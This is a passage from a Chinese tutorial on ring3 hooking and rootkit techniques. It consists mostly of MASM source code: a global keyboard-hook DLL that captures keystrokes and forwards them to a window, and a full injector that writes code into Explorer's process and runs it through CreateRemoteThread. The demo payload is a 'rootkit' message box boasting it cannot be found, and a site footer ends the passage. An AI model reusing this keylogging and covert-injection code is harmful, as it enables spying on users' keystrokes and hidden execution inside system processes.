;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; dll 的入口函数
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> DllEntry proc _hInstance,_dwReason,_dwReserved
push _hInstance pop hInstance mov eax,TRUE ret
DllEntry Endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 键盘钩子回调函数
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HookProc proc _dwCode,_wParam,_lParam local @szKeyState[256]:byte
invoke CallNextHookEx,hHook,_dwCode,_wParam,_lParam invoke GetKeyboardState,addr @szKeyState invoke GetKeyState,VK_SHIFT mov @szKeyState + VK_SHIFT,al mov ecx,_lParam shr ecx,16
invoke ToAscii,_wParam,ecx,addr @szKeyState,addr szAscii,0 mov byte ptr szAscii [eax],0
invoke SendMessage,hWnd,dwMessage,dword ptr szAscii,NULL xor eax,eax ret
HookProc endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 安装钩子
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> InstallHook proc _hWnd,_dwMessage
push _hWnd pop hWnd push _dwMessage pop dwMessage
invoke SetWindowsHookEx,WH_KEYBOARD,addr HookProc,hInstance,NULL mov hHook,eax ret
InstallHook endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 卸载钩子
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> UninstallHook proc
invoke UnhookWindowsHookEx,hHook ret
UninstallHook endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> End DllEntry
4.局限性:会产生Dll体,虽然没有进程,但可以通过其他工具轻易发现 (三)通过创建远程线程
1.一般思路:远程线程,顾名思义就是在其他进程中创建一个线程,如果这个进程是系统每次启动必须加载的,那么就能每次有注入目标。这主要通过CreateRemoteThread函数完成。 2.大体框架:
文件1:可以重定位的代码,或是DLL,这个代码当然是有特定目的的 文件2:查找特定进程,如文件管理器,打开进程 VirtualAllocEx函数在进程中申请分配空间
WriteProcessMemory函数将远程线程中的代码拷贝到申请到的空间 CreateRemoteThread函数创建远程线程 3.代码实例:
文件1:一段可重定位代码
REMOTE_CODE_START equ this byte
_lpLoadLibary dd ? ;输入函数地址表 _lpGetProcAddress dd ? _lpGetModuleHandle dd ?
_lpMessageBox dd ?
;全局变量表 _hInstance dd ?
_szDllUser db 'User32.dll',0 _szMessageBox db 'MessageBox',0 _szCaption db 'A rootkit !',0
_szText db 'Hello,im LvG,but you cant find me!',0 .code
_RemoteThread proc uses ebx edi esi lParam local @hModule local @hInstance
call @F @@: pop ebx
sub ebx, offset @B
_invoke [ebx, _lpGetModuleHandle],NULL mov [ebx, _hInstance], eax
lea eax, [ebx + offset _szDllUser] _invoke [ebx + _lpGetModuleHandle], eax mov @hModule, eax
lea esi, [ebx + offset _szMessageBox]
_invoke [ebx + _lpGetProcAddress], @hModule, esi mov [ebx + offset _lpMessageBox], eax lea eax, [ebx + offset _szCaption] lea ecx, [ebx + offset _szText]
_invoke [ebx + _lpMessageBox], NULL, ecx, eax,MB_OK ret
_RemoteThread endp
REMOTE_CODE_END equ this byte
REMOTE_CODE_LENGTH equ offset REMOTE_CODE_END - offset REMOTE_CODE_START 文件2: .386
.model flat, stdcall option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> include windows.inc include user32.inc includelib user32.lib include kernel32.inc includelib kernel32.lib include Macro.inc
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .data?
lpLoadLibrary dd ? lpGetProcAddress dd ? lpGetModuleHandle dd ? dwProcessID dd ?
dwThreadID dd ? hProcess dd ? lpRemoteCode dd ? .const
szErrOpen db '无法打开远程线程!',0 szDesktopClass db 'Progman',0
szDesktopWindow db 'Program Manager',0 szDllKernel db 'Kernel32.dll',0 szLoadLibrary db 'LoadLibraryA',0 szGetProcAddress db 'GetProcAddress',0 szGetModuleHandle db 'GetModuleHandleA',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include RemoteCode.asm start:
invoke GetModuleHandle,addr szDllKernel mov ebx,eax
invoke GetProcAddress,ebx,offset szLoadLibrary mov lpLoadLibrary,eax
invoke GetProcAddress,ebx,offset szGetProcAddress mov lpGetProcAddress,eax
invoke GetProcAddress,ebx,offset szGetModuleHandle mov lpGetModuleHandle,eax
;******************************************************************** ; 查找文件管理器窗口并获取进程ID,然后打开进程
;******************************************************************** invoke FindWindow,addr szDesktopClass,addr szDesktopWindow invoke GetWindowThreadProcessId,eax,offset dwProcessID mov dwThreadID,eax
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or \\ PROCESS_VM_WRITE,FALSE,dwProcessID .if eax
mov hProcess,eax
;******************************************************************** ; 在进程中分配空间并将执行代码拷贝过去,然后创建一个远程线程
;********************************************************************
invoke VirtualAllocEx,hProcess,NULL,REMOTE_CODE_LENGTH,MEM_COMMIT,PAGE_EXECUTE_READWRITE .if eax
mov lpRemoteCode,eax
invoke WriteProcessMemory,hProcess,lpRemoteCode,\\
offset REMOTE_CODE_START,REMOTE_CODE_LENGTH,NULL invoke WriteProcessMemory,hProcess,lpRemoteCode,\\ offset lpLoadLibrary,sizeof dword * 3,NULL mov eax,lpRemoteCode
add eax,offset _RemoteThread - offset REMOTE_CODE_START invoke CreateRemoteThread,hProcess,NULL,0,eax,0,0,NULL invoke CloseHandle,eax .endif
invoke CloseHandle,hProcess .else
invoke MessageBox,NULL,addr szErrOpen,NULL,MB_OK or MB_ICONWARNING .endif
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> end start
4.局限性:有时会遇到申请内存失败。
总结:以上的几种方法,相互配合将发挥更为强大的力量。但由于都是动作在ring3,有着先天不足的缺点,都逃不过内核模块的监测。
参考文献:<
搜索“diyifanwen.net”或“第一范文网”即可找到本站免费阅读全部范文。收藏本站方便下次阅读,第一范文网,提供最新教学研究必备绝技--Hook大法( 上) (4)全文阅读和word下载服务。
相关推荐: